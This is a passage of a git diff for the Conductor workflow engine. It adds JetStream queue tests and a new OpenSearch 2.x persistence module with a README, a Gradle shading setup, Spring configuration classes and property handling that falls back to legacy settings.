+ @Test + public void testCreateConsumerUsesSanitizedStreamName() throws Exception { + when(conductorProperties.getStack()).thenReturn(null); + when(conductorProperties.getAppId()).thenReturn("test"); + when(jetStreamProperties.getDurableName()).thenReturn("test-durable"); + when(jetStreamProperties.getAckWait()).thenReturn(java.time.Duration.ofSeconds(30)); + when(jetStreamProperties.getMaxDeliver()).thenReturn(3); + when(jetStreamProperties.getMaxAckPending()).thenReturn(1000L); + + JetStreamObservableQueue queue = + new JetStreamObservableQueue( + conductorProperties, + jetStreamProperties, + "test", + "order.workflow.*.completed:processors", + null, + eventPublisher); + + ConsumerInfo mockConsumerInfo = mock(ConsumerInfo.class); + when(jsm.addOrUpdateConsumer(any(String.class), any(ConsumerConfiguration.class))) + .thenReturn(mockConsumerInfo); + + Method createConsumerMethod = + JetStreamObservableQueue.class.getDeclaredMethod( + "createConsumer", JetStreamManagement.class); + createConsumerMethod.setAccessible(true); + ConsumerConfiguration result = + (ConsumerConfiguration) createConsumerMethod.invoke(queue, jsm); + + verify(jsm) + .addOrUpdateConsumer( + eq("TEST_JSM_NOTIFY_ORDER_WORKFLOW_ANY_COMPLETED"), + any(ConsumerConfiguration.class)); + + assertNotNull(result, "Should return a consumer configuration"); + assertEquals("test-durable", result.getName(), "Consumer name should match durable name"); + assertEquals( + "processors", result.getDeliverGroup(), "Deliver group should match queue group"); + assertEquals("test-durable", result.getDurable(), "Durable name should match"); + assertEquals( + java.time.Duration.ofSeconds(30), + result.getAckWait(), + "Ack wait should match properties"); + assertEquals(3, result.getMaxDeliver(), "Max deliver should match properties"); + assertEquals(1000L, result.getMaxAckPending(), "Max ack pending should match properties"); + assertEquals(AckPolicy.Explicit, result.getAckPolicy(), "Ack policy should be Explicit"); + assertEquals(DeliverPolicy.New, result.getDeliverPolicy(), "Deliver policy should be New"); + assertEquals( + "test_jsm_notify_order.workflow.*.completed-deliver", + result.getDeliverSubject(), + "Deliver subject should be subject + '-deliver'"); + } + + @Test + public void testConstructorSetsSanitizedStreamName() throws Exception { + when(conductorProperties.getStack()).thenReturn(null); + when(conductorProperties.getAppId()).thenReturn("myapp"); + + JetStreamObservableQueue queue = + new JetStreamObservableQueue( + conductorProperties, + jetStreamProperties, + "test", + "workflow.task.*.status.>:workers", + null, + eventPublisher); + + Field streamNameField = JetStreamObservableQueue.class.getDeclaredField("streamName"); + streamNameField.setAccessible(true); + String actualStreamName = (String) streamNameField.get(queue); + + assertEquals( + "MYAPP_JSM_NOTIFY_WORKFLOW_TASK_ANY_STATUS_ALL", + actualStreamName, + "Constructor should set sanitized stream name"); + + assertFalse(actualStreamName.contains("."), "Stream name should not contain dots"); + assertFalse(actualStreamName.contains("*"), "Stream name should not contain asterisks"); + assertFalse(actualStreamName.contains(">"), "Stream name should not contain >"); + assertTrue(actualStreamName.contains("ANY"), "Stream name should contain ANY for *"); + assertTrue(actualStreamName.contains("ALL"), "Stream name should contain ALL for >"); + assertTrue( + actualStreamName.equals(actualStreamName.toUpperCase()), + "Stream name should be uppercase"); + } +} diff --git a/os-persistence-v2/README.md b/os-persistence-v2/README.md new file mode 100644 index 0000000..ce679d8 --- /dev/null +++ b/os-persistence-v2/README.md @@ -0,0 +1,114 @@ +# OpenSearch 2.x Persistence + +This module provides OpenSearch 2.x persistence for indexing workflows and tasks in Conductor. + +## Overview + +The `os-persistence-v2` module targets OpenSearch 2.x clusters (2.0 through 2.18+). It uses the +`opensearch-java 2.18.0` client with dependency shading to prevent classpath conflicts when the +server is deployed alongside the `os-persistence-v3` module. + +## Configuration + +Set the following properties to enable OpenSearch 2.x indexing: + +```properties +conductor.indexing.enabled=true +conductor.indexing.type=opensearch2 + +# URL of the OpenSearch cluster (comma-separated for multiple nodes) +conductor.opensearch.url=http://localhost:9200 + +# Index prefix (default: conductor) +conductor.opensearch.indexPrefix=conductor +``` + +### All Configuration Properties + +| Property | Default | Description | +|---|---|---| +| `conductor.opensearch.url` | `localhost:9201` | Comma-separated list of OpenSearch node URLs. Supports `http://` and `https://` schemes. | +| `conductor.opensearch.indexPrefix` | `conductor` | Prefix used when creating indices. | +| `conductor.opensearch.clusterHealthColor` | `green` | Cluster health color to wait for before starting (`green`, `yellow`). | +| `conductor.opensearch.indexBatchSize` | `1` | Number of documents per batch when async indexing is enabled. | +| `conductor.opensearch.asyncWorkerQueueSize` | `100` | Size of the async indexing task queue. | +| `conductor.opensearch.asyncMaxPoolSize` | `12` | Maximum threads in the async indexing pool. | +| `conductor.opensearch.asyncBufferFlushTimeout` | `10s` | How long async buffers are held before being flushed. | +| `conductor.opensearch.indexShardCount` | `5` | Number of shards per index. | +| `conductor.opensearch.indexReplicasCount` | `0` | Number of replicas per index. | +| `conductor.opensearch.taskLogResultLimit` | `10` | Maximum task log entries returned per query. | +| `conductor.opensearch.restClientConnectionRequestTimeout` | `-1` | Connection request timeout in ms (`-1` = unlimited). | +| `conductor.opensearch.autoIndexManagementEnabled` | `true` | Whether Conductor creates and manages indices automatically. | +| `conductor.opensearch.username` | _(none)_ | Username for basic authentication. | +| `conductor.opensearch.password` | _(none)_ | Password for basic authentication. | + +### Basic Authentication + +To connect to a secured OpenSearch cluster: + +```properties +conductor.opensearch.username=myuser +conductor.opensearch.password=mypassword +``` + +### Single-Node / Development Clusters + +A single-node cluster cannot achieve `green` health because replica shards have nowhere to be +assigned. Set: + +```properties +conductor.opensearch.clusterHealthColor=yellow +conductor.opensearch.indexReplicasCount=0 +``` + +### External Index Management + +If you manage OpenSearch indices externally (e.g., via ILM policies or Terraform): + +```properties +conductor.opensearch.autoIndexManagementEnabled=false +``` + +## Migration from Legacy `opensearch` Type + +If you previously used `conductor.indexing.type=opensearch`, update to `opensearch2`: + +```properties +# Before +conductor.indexing.type=opensearch +conductor.elasticsearch.url=http://localhost:9200 + +# After +conductor.indexing.type=opensearch2 +conductor.opensearch.url=http://localhost:9200 +``` + +The `conductor.elasticsearch.*` namespace is still accepted for backward compatibility but is +deprecated. A warning is logged at startup when legacy properties are detected. + +## Docker Compose + +```shell +docker compose -f docker/docker-compose-redis-os2.yaml up +``` + +This starts Conductor, Redis, and OpenSearch 2.18.0. + +## Dependency Isolation + +OpenSearch 2.x and 3.x use identical Java package names (`org.opensearch.client.*`). This module +uses the [Shadow plugin](https://github.com/johnrengelman/shadow) to relocate all OpenSearch client +classes to an isolated namespace: + +``` +org.opensearch.client → org.conductoross.conductor.os2.shaded.opensearch.client +``` + +This allows both `os-persistence-v2` and `os-persistence-v3` to coexist on the same classpath +without conflicts. + +## See Also + +- [os-persistence-v3](../os-persistence-v3/README.md) — for OpenSearch 3.x clusters +- [OpenSearch configuration guide](../docs/documentation/advanced/opensearch.md) +- [Issue #678](https://github.com/conductor-oss/conductor/issues/678) — OpenSearch improvement epic diff --git a/os-persistence-v2/build.gradle b/os-persistence-v2/build.gradle new file mode 100644 index 0000000..8872999 --- /dev/null +++ b/os-persistence-v2/build.gradle @@ -0,0 +1,55 @@ +plugins { + id 'com.gradleup.shadow' version '8.3.6' + id 'java' +} + +configurations { + // Prevent shaded dependencies from being published, while keeping them available to tests + shadow.extendsFrom compileOnly + testRuntime.extendsFrom compileOnly +} + +dependencies { + + implementation project(':conductor-common') + implementation project(':conductor-core') + implementation project(':conductor-common-persistence') + + compileOnly 'org.springframework.boot:spring-boot-starter' + compileOnly 'org.springframework.retry:spring-retry' + + implementation "commons-io:commons-io:${revCommonsIo}" + implementation "org.apache.commons:commons-lang3" + implementation "com.google.guava:guava:${revGuava}" + + implementation 'com.fasterxml.jackson.core:jackson-core:2.18.0' + + implementation 'org.opensearch.client:opensearch-java:2.18.0' + implementation 'org.apache.httpcomponents.client5:httpclient5:5.2.1' + implementation "org.opensearch.client:opensearch-rest-client:2.18.0" + implementation "org.opensearch.client:opensearch-rest-high-level-client:2.18.0" + + testImplementation "net.java.dev.jna:jna:5.7.0" + testImplementation "org.awaitility:awaitility:${revAwaitility}" + testImplementation "org.opensearch:opensearch-testcontainers:2.1.2" + testImplementation "org.testcontainers:testcontainers:2.0.5" + testImplementation project(':conductor-test-util').sourceSets.test.output + testImplementation 'org.springframework.retry:spring-retry' + +} + +// Drop the classifier and delete jar task actions to replace the regular jar artifact with the shadow artifact +shadowJar { + configurations = [project.configurations.shadow] + archiveClassifier = null + + // Relocate opensearch-java 2.x to avoid conflicts with v3 + relocate 'org.opensearch.client', 'org.conductoross.conductor.os2.shaded.opensearch.client' + + // Service files are not included by default. + mergeServiceFiles { + include 'META-INF/services/*' + include 'META-INF/maven/*' + } +} +// Note: shadowJar is used to shade opensearch-java 2.x to avoid conflicts with v3 diff --git a/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/config/OpenSearchConditions.java b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/config/OpenSearchConditions.java new file mode 100644 index 0000000..35db63a --- /dev/null +++ b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/config/OpenSearchConditions.java @@ -0,0 +1,63 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.config; + +import org.springframework.boot.autoconfigure.condition.AllNestedConditions; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; + +/** + * Conditional configuration for enabling OpenSearch 2.x as the indexing backend. + * + *

    OpenSearch 2.x is enabled when: + * + *

      + *
    • {@code conductor.indexing.enabled=true} (defaults to true if not specified) + *
    • {@code conductor.indexing.type=opensearch2} + *
    + * + *

    Recommended Configuration: + * + * 

    {@code
+ * # Enable OpenSearch 2.x indexing
+ * conductor.indexing.enabled=true
+ * conductor.indexing.type=opensearch2
+ *
+ * # OpenSearch connection settings
+ * conductor.opensearch.url=http://localhost:9200
+ * conductor.opensearch.indexPrefix=conductor
+ * conductor.opensearch.indexReplicasCount=0
+ * conductor.opensearch.clusterHealthColor=green
+ * }
    + */ +public class OpenSearchConditions { + + private OpenSearchConditions() {} + + public static class OpenSearchV2Enabled extends AllNestedConditions { + + OpenSearchV2Enabled() { + super(ConfigurationPhase.PARSE_CONFIGURATION); + } + + @SuppressWarnings("unused") + @ConditionalOnProperty( + name = "conductor.indexing.enabled", + havingValue = "true", + matchIfMissing = true) + static class enabledIndexing {} + + @SuppressWarnings("unused") + @ConditionalOnProperty(name = "conductor.indexing.type", havingValue = "opensearch2") + static class enabledOS2 {} + } +} diff --git a/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/config/OpenSearchConfiguration.java b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/config/OpenSearchConfiguration.java new file mode 100644 index 0000000..6c9c2fa --- /dev/null +++ b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/config/OpenSearchConfiguration.java @@ -0,0 +1,118 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.config; + +import java.net.URL; +import java.util.List; + +import org.apache.http.HttpHost; +import org.apache.http.auth.AuthScope; +import org.apache.http.auth.UsernamePasswordCredentials; +import org.apache.http.client.CredentialsProvider; +import org.apache.http.impl.client.BasicCredentialsProvider; +import org.conductoross.conductor.os2.dao.index.OpenSearchRestDAO; +import org.opensearch.client.RestClient; +import org.opensearch.client.RestClientBuilder; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Conditional; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.Primary; +import org.springframework.core.env.Environment; +import org.springframework.retry.backoff.FixedBackOffPolicy; +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.dao.IndexDAO; + +import com.fasterxml.jackson.databind.ObjectMapper; + +@Configuration(proxyBeanMethods = false) +@EnableConfigurationProperties(OpenSearchProperties.class) +@Conditional(OpenSearchConditions.OpenSearchV2Enabled.class) +public class OpenSearchConfiguration { + + private static final Logger log = LoggerFactory.getLogger(OpenSearchConfiguration.class); + + private final Environment environment; + + public OpenSearchConfiguration(Environment environment) { + this.environment = environment; + } + + @Bean + public RestClient restClient(RestClientBuilder restClientBuilder) { + return restClientBuilder.build(); + } + + @Bean + public RestClientBuilder osRestClientBuilder(OpenSearchProperties properties) { + // Inject environment for backward compatibility with legacy properties + properties.setEnvironment(environment); + properties.init(); + + RestClientBuilder builder = RestClient.builder(convertToHttpHosts(properties.toURLs())); + + if (properties.getRestClientConnectionRequestTimeout() > 0) { + builder.setRequestConfigCallback( + requestConfigBuilder -> + requestConfigBuilder.setConnectionRequestTimeout( + properties.getRestClientConnectionRequestTimeout())); + } + + if (properties.getUsername() != null && properties.getPassword() != null) { + log.info( + "Configure OpenSearch with BASIC authentication. User:{}", + properties.getUsername()); + final CredentialsProvider credentialsProvider = new BasicCredentialsProvider(); + credentialsProvider.setCredentials( + AuthScope.ANY, + new UsernamePasswordCredentials( + properties.getUsername(), properties.getPassword())); + builder.setHttpClientConfigCallback( + httpClientBuilder -> + httpClientBuilder.setDefaultCredentialsProvider(credentialsProvider)); + } else { + log.info("Configure OpenSearch with no authentication."); + } + return builder; + } + + @Primary + @Bean + public IndexDAO osIndexDAO( + RestClientBuilder restClientBuilder, + @Qualifier("osRetryTemplate") RetryTemplate retryTemplate, + OpenSearchProperties properties, + ObjectMapper objectMapper) { + String url = properties.getUrl(); + return new OpenSearchRestDAO(restClientBuilder, retryTemplate, properties, objectMapper); + } + + @Bean + public RetryTemplate osRetryTemplate() { + RetryTemplate retryTemplate = new RetryTemplate(); + FixedBackOffPolicy fixedBackOffPolicy = new FixedBackOffPolicy(); + fixedBackOffPolicy.setBackOffPeriod(1000L); + retryTemplate.setBackOffPolicy(fixedBackOffPolicy); + return retryTemplate; + } + + private HttpHost[] convertToHttpHosts(List hosts) { + return hosts.stream() + .map(host -> new HttpHost(host.getHost(), host.getPort(), host.getProtocol())) + .toArray(HttpHost[]::new); + } +} diff --git a/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/config/OpenSearchProperties.java b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/config/OpenSearchProperties.java new file mode 100644 index 0000000..d00c487 --- /dev/null +++ b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/config/OpenSearchProperties.java @@ -0,0 +1,463 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.config; + +import java.net.MalformedURLException; +import java.net.URL; +import java.time.Duration; +import java.time.temporal.ChronoUnit; +import java.util.Arrays; +import java.util.List; +import java.util.Set; +import java.util.stream.Collectors; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.boot.convert.DurationUnit; +import org.springframework.core.env.Environment; + +import jakarta.annotation.PostConstruct; + +/** + * Configuration properties for OpenSearch integration. + * + *

    This class supports the dedicated {@code conductor.opensearch.*} namespace. For backward + * compatibility, legacy {@code conductor.elasticsearch.*} properties are also supported but + * deprecated. When both namespaces are configured, {@code conductor.opensearch.*} takes precedence. + * + *

    Migration Guide: Replace {@code conductor.elasticsearch.*} properties with their {@code + * conductor.opensearch.*} equivalents. The legacy namespace will be removed in a future major + * release. + * + * @see Conductor Documentation + */ +@ConfigurationProperties("conductor.opensearch") +public class OpenSearchProperties { + + private static final Logger log = LoggerFactory.getLogger(OpenSearchProperties.class); + + private static final String LEGACY_PREFIX = "conductor.elasticsearch."; + private static final String NEW_PREFIX = "conductor.opensearch."; + + /** Supported OpenSearch versions. Update this set when new versions are supported. */ + private static final Set SUPPORTED_VERSIONS = Set.of(1, 2); + + private Environment environment; + + /** + * The OpenSearch version (1, 2, etc.) for version-specific API handling. Defaults to 2 + * (OpenSearch 2.x). + */ + private int version = 2; + + /** + * The comma separated list of urls for the OpenSearch cluster. Format -- + * host1:port1,host2:port2 + */ + private String url = "localhost:9201"; + + /** The index prefix to be used when creating indices */ + private String indexPrefix = "conductor"; + + /** The color of the OpenSearch cluster to wait for to confirm healthy status */ + private String clusterHealthColor = "green"; + + /** The size of the batch to be used for bulk indexing in async mode */ + private int indexBatchSize = 1; + + /** The size of the queue used for holding async indexing tasks */ + private int asyncWorkerQueueSize = 100; + + /** The maximum number of threads allowed in the async pool */ + private int asyncMaxPoolSize = 12; + + /** + * The time in seconds after which the async buffers will be flushed (if no activity) to prevent + * data loss + */ + @DurationUnit(ChronoUnit.SECONDS) + private Duration asyncBufferFlushTimeout = Duration.ofSeconds(10); + + /** The number of shards that the index will be created with */ + private int indexShardCount = 5; + + /** The number of replicas that the index will be configured to have */ + private int indexReplicasCount = 0; + + /** The number of task log results that will be returned in the response */ + private int taskLogResultLimit = 10; + + /** The timeout in milliseconds used when requesting a connection from the connection manager */ + private int restClientConnectionRequestTimeout = -1; + + /** Used to control if index management is to be enabled or will be controlled externally */ + private boolean autoIndexManagementEnabled = true; + + /** + * Document types are deprecated in OpenSearch. This property can be used to disable the use of + * specific document types with an override. + * + *

    Note that this property will only take effect if {@link + * OpenSearchProperties#isAutoIndexManagementEnabled} is set to false and index management is + * handled outside of this module. + */ + private String documentTypeOverride = ""; + + /** OpenSearch basic auth username */ + private String username; + + /** OpenSearch basic auth password */ + private String password; + + public OpenSearchProperties() {} + + public OpenSearchProperties(Environment environment) { + this.environment = environment; + } + + /** + * Post-construction initialization that handles backward compatibility with legacy + * conductor.elasticsearch.* properties. Logs deprecation warnings when legacy properties are + * detected. Also validates the configured OpenSearch version. + */ + @PostConstruct + public void init() { + if (environment == null) { + return; + } + + boolean usingLegacyProperties = false; + + // Check and apply legacy version property + // Note: conductor.elasticsearch.version=0 is a special value used to disable ES7 + // auto-config + // For OpenSearch, we only consider positive version numbers from legacy config + String legacyVersion = environment.getProperty(LEGACY_PREFIX + "version"); + if (legacyVersion != null && !hasNewProperty("version")) { + try { + int parsedVersion = Integer.parseInt(legacyVersion); + // Only use legacy version if it's a valid OpenSearch version (not 0 which is ES7 + // disable flag) + if (parsedVersion > 0) { + this.version = parsedVersion; + usingLegacyProperties = true; + log.info( + "Using OpenSearch version {} from legacy property 'conductor.elasticsearch.version'. " + + "Consider migrating to 'conductor.opensearch.version'.", + parsedVersion); + } + } catch (NumberFormatException e) { + log.warn( + "Invalid value '{}' for conductor.elasticsearch.version. Using default version {}.", + legacyVersion, + this.version); + } + } + + // Check and apply legacy properties with deprecation warnings + String legacyUrl = environment.getProperty(LEGACY_PREFIX + "url"); + if (legacyUrl != null && !hasNewProperty("url")) { + this.url = legacyUrl; + usingLegacyProperties = true; + } + + String legacyIndexName = environment.getProperty(LEGACY_PREFIX + "indexName"); + if (legacyIndexName != null && !hasNewProperty("indexPrefix")) { + this.indexPrefix = legacyIndexName; + usingLegacyProperties = true; + } + + String legacyClusterHealthColor = + environment.getProperty(LEGACY_PREFIX + "clusterHealthColor"); + if (legacyClusterHealthColor != null && !hasNewProperty("clusterHealthColor")) { + this.clusterHealthColor = legacyClusterHealthColor; + usingLegacyProperties = true; + } + + String legacyIndexBatchSize = environment.getProperty(LEGACY_PREFIX + "indexBatchSize"); + if (legacyIndexBatchSize != null && !hasNewProperty("indexBatchSize")) { + this.indexBatchSize = Integer.parseInt(legacyIndexBatchSize); + usingLegacyProperties = true; + } + + String legacyAsyncWorkerQueueSize = + environment.getProperty(LEGACY_PREFIX + "asyncWorkerQueueSize"); + if (legacyAsyncWorkerQueueSize != null && !hasNewProperty("asyncWorkerQueueSize")) { + this.asyncWorkerQueueSize = Integer.parseInt(legacyAsyncWorkerQueueSize); + usingLegacyProperties = true; + } + + String legacyAsyncMaxPoolSize = environment.getProperty(LEGACY_PREFIX + "asyncMaxPoolSize"); + if (legacyAsyncMaxPoolSize != null && !hasNewProperty("asyncMaxPoolSize")) { + this.asyncMaxPoolSize = Integer.parseInt(legacyAsyncMaxPoolSize); + usingLegacyProperties = true; + } + + String legacyIndexShardCount = environment.getProperty(LEGACY_PREFIX + "indexShardCount"); + if (legacyIndexShardCount != null && !hasNewProperty("indexShardCount")) { + this.indexShardCount = Integer.parseInt(legacyIndexShardCount); + usingLegacyProperties = true; + } + + String legacyIndexReplicasCount = + environment.getProperty(LEGACY_PREFIX + "indexReplicasCount"); + if (legacyIndexReplicasCount != null && !hasNewProperty("indexReplicasCount")) { + this.indexReplicasCount = Integer.parseInt(legacyIndexReplicasCount); + usingLegacyProperties = true; + } + + String legacyTaskLogResultLimit = + environment.getProperty(LEGACY_PREFIX + "taskLogResultLimit"); + if (legacyTaskLogResultLimit != null && !hasNewProperty("taskLogResultLimit")) { + this.taskLogResultLimit = Integer.parseInt(legacyTaskLogResultLimit); + usingLegacyProperties = true; + } + + String legacyRestClientConnectionRequestTimeout = + environment.getProperty(LEGACY_PREFIX + "restClientConnectionRequestTimeout"); + if (legacyRestClientConnectionRequestTimeout != null + && !hasNewProperty("restClientConnectionRequestTimeout")) { + this.restClientConnectionRequestTimeout = + Integer.parseInt(legacyRestClientConnectionRequestTimeout); + usingLegacyProperties = true; + } + + String legacyAutoIndexManagementEnabled = + environment.getProperty(LEGACY_PREFIX + "autoIndexManagementEnabled"); + if (legacyAutoIndexManagementEnabled != null + && !hasNewProperty("autoIndexManagementEnabled")) { + this.autoIndexManagementEnabled = + Boolean.parseBoolean(legacyAutoIndexManagementEnabled); + usingLegacyProperties = true; + } + + String legacyDocumentTypeOverride = + environment.getProperty(LEGACY_PREFIX + "documentTypeOverride"); + if (legacyDocumentTypeOverride != null && !hasNewProperty("documentTypeOverride")) { + this.documentTypeOverride = legacyDocumentTypeOverride; + usingLegacyProperties = true; + } + + String legacyUsername = environment.getProperty(LEGACY_PREFIX + "username"); + if (legacyUsername != null && !hasNewProperty("username")) { + this.username = legacyUsername; + usingLegacyProperties = true; + } + + String legacyPassword = environment.getProperty(LEGACY_PREFIX + "password"); + if (legacyPassword != null && !hasNewProperty("password")) { + this.password = legacyPassword; + usingLegacyProperties = true; + } + + if (usingLegacyProperties) { + log.warn( + "DEPRECATION WARNING: You are using legacy 'conductor.elasticsearch.*' properties " + + "for OpenSearch configuration. Please migrate to 'conductor.opensearch.*' namespace. " + + "The legacy namespace will be removed in a future major release. " + + "See migration guide at: https://conductor-oss.github.io/conductor/"); + } + + // Validate the configured OpenSearch version + validateVersion(); + } + + /** + * Validates that the configured OpenSearch version is supported. + * + * @throws IllegalArgumentException if the version is not supported + */ + private void validateVersion() { + if (!SUPPORTED_VERSIONS.contains(this.version)) { + String supportedVersionsStr = + SUPPORTED_VERSIONS.stream() + .sorted() + .map(String::valueOf) + .collect(Collectors.joining(", ")); + throw new IllegalArgumentException( + String.format( + "Unsupported OpenSearch version: %d. Supported versions are: [%s]. " + + "Please configure 'conductor.opensearch.version' with a supported version.", + this.version, supportedVersionsStr)); + } + log.info("OpenSearch configured with version: {}", this.version); + } + + /** + * Returns the set of supported OpenSearch versions. + * + * @return unmodifiable set of supported version numbers + */ + public static Set getSupportedVersions() { + return SUPPORTED_VERSIONS; + } + + private boolean hasNewProperty(String propertyName) { + return environment != null && environment.containsProperty(NEW_PREFIX + propertyName); + } + + @Autowired + public void setEnvironment(Environment environment) { + this.environment = environment; + } + + public int getVersion() { + return version; + } + + public void setVersion(int version) { + this.version = version; + } + + public String getUrl() { + return url; + } + + public void setUrl(String url) { + this.url = url; + } + + public String getIndexPrefix() { + return indexPrefix; + } + + public void setIndexPrefix(String indexPrefix) { + this.indexPrefix = indexPrefix; + } + + public String getClusterHealthColor() { + return clusterHealthColor; + } + + public void setClusterHealthColor(String clusterHealthColor) { + this.clusterHealthColor = clusterHealthColor; + } + + public int getIndexBatchSize() { + return indexBatchSize; + } + + public void setIndexBatchSize(int indexBatchSize) { + this.indexBatchSize = indexBatchSize; + } + + public int getAsyncWorkerQueueSize() { + return asyncWorkerQueueSize; + } + + public void setAsyncWorkerQueueSize(int asyncWorkerQueueSize) { + this.asyncWorkerQueueSize = asyncWorkerQueueSize; + } + + public int getAsyncMaxPoolSize() { + return asyncMaxPoolSize; + } + + public void setAsyncMaxPoolSize(int asyncMaxPoolSize) { + this.asyncMaxPoolSize = asyncMaxPoolSize; + } + + public Duration getAsyncBufferFlushTimeout() { + return asyncBufferFlushTimeout; + } + + public void setAsyncBufferFlushTimeout(Duration asyncBufferFlushTimeout) { + this.asyncBufferFlushTimeout = asyncBufferFlushTimeout; + } + + public int getIndexShardCount() { + return indexShardCount; + } + + public void setIndexShardCount(int indexShardCount) { + this.indexShardCount = indexShardCount; + } + + public int getIndexReplicasCount() { + return indexReplicasCount; + } + + public void setIndexReplicasCount(int indexReplicasCount) { + this.indexReplicasCount = indexReplicasCount; + } + + public int getTaskLogResultLimit() { + return taskLogResultLimit; + } + + public void setTaskLogResultLimit(int taskLogResultLimit) { + this.taskLogResultLimit = taskLogResultLimit; + } + + public int getRestClientConnectionRequestTimeout() { + return restClientConnectionRequestTimeout; + } + + public void setRestClientConnectionRequestTimeout(int restClientConnectionRequestTimeout) { + this.restClientConnectionRequestTimeout = restClientConnectionRequestTimeout; + } + + public boolean isAutoIndexManagementEnabled() { + return autoIndexManagementEnabled; + } + + public void setAutoIndexManagementEnabled(boolean autoIndexManagementEnabled) { + this.autoIndexManagementEnabled = autoIndexManagementEnabled; + } + + public String getDocumentTypeOverride() { + return documentTypeOverride; + } + + public void setDocumentTypeOverride(String documentTypeOverride) { + this.documentTypeOverride = documentTypeOverride; + } + + public String getUsername() { + return username; + } + + public void setUsername(String username) { + this.username = username; + } + + public String getPassword() { + return password; + } + + public void setPassword(String password) { + this.password = password; + } + + public List toURLs() { + String clusterAddress = getUrl(); + String[] hosts = clusterAddress.split(","); + return Arrays.stream(hosts) + .map( + host -> + (host.startsWith("http://") || host.startsWith("https://")) + ? toURL(host) + : toURL("http://" + host)) + .collect(Collectors.toList()); + } + + private URL toURL(String url) { + try { + return new URL(url); + } catch (MalformedURLException e) { + throw new IllegalArgumentException(url + "can not be converted to java.net.URL"); + } + } +} diff --git a/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/index/BulkRequestBuilderWrapper.java b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/index/BulkRequestBuilderWrapper.java new file mode 100644 index 0000000..1617a4e --- /dev/null +++ b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/index/BulkRequestBuilderWrapper.java @@ -0,0 +1,54 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.dao.index; + +import java.util.Objects; + +import org.opensearch.action.bulk.BulkRequestBuilder; +import org.opensearch.action.bulk.BulkResponse; +import org.opensearch.action.index.IndexRequest; +import org.opensearch.action.update.UpdateRequest; +import org.springframework.lang.NonNull; + +/** Thread-safe wrapper for {@link BulkRequestBuilder}. */ +public class BulkRequestBuilderWrapper { + private final BulkRequestBuilder bulkRequestBuilder; + + public BulkRequestBuilderWrapper(@NonNull BulkRequestBuilder bulkRequestBuilder) { + this.bulkRequestBuilder = Objects.requireNonNull(bulkRequestBuilder); + } + + public void add(@NonNull UpdateRequest req) { + synchronized (bulkRequestBuilder) { + bulkRequestBuilder.add(Objects.requireNonNull(req)); + } + } + + public void add(@NonNull IndexRequest req) { + synchronized (bulkRequestBuilder) { + bulkRequestBuilder.add(Objects.requireNonNull(req)); + } + } + + public int numberOfActions() { + synchronized (bulkRequestBuilder) { + return bulkRequestBuilder.numberOfActions(); + } + } + + public org.opensearch.common.action.ActionFuture execute() { + synchronized (bulkRequestBuilder) { + return bulkRequestBuilder.execute(); + } + } +} diff --git a/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/index/BulkRequestWrapper.java b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/index/BulkRequestWrapper.java new file mode 100644 index 0000000..49b7fb3 --- /dev/null +++ b/os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/index/BulkRequestWrapper.java @@ -0,0 +1,51 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

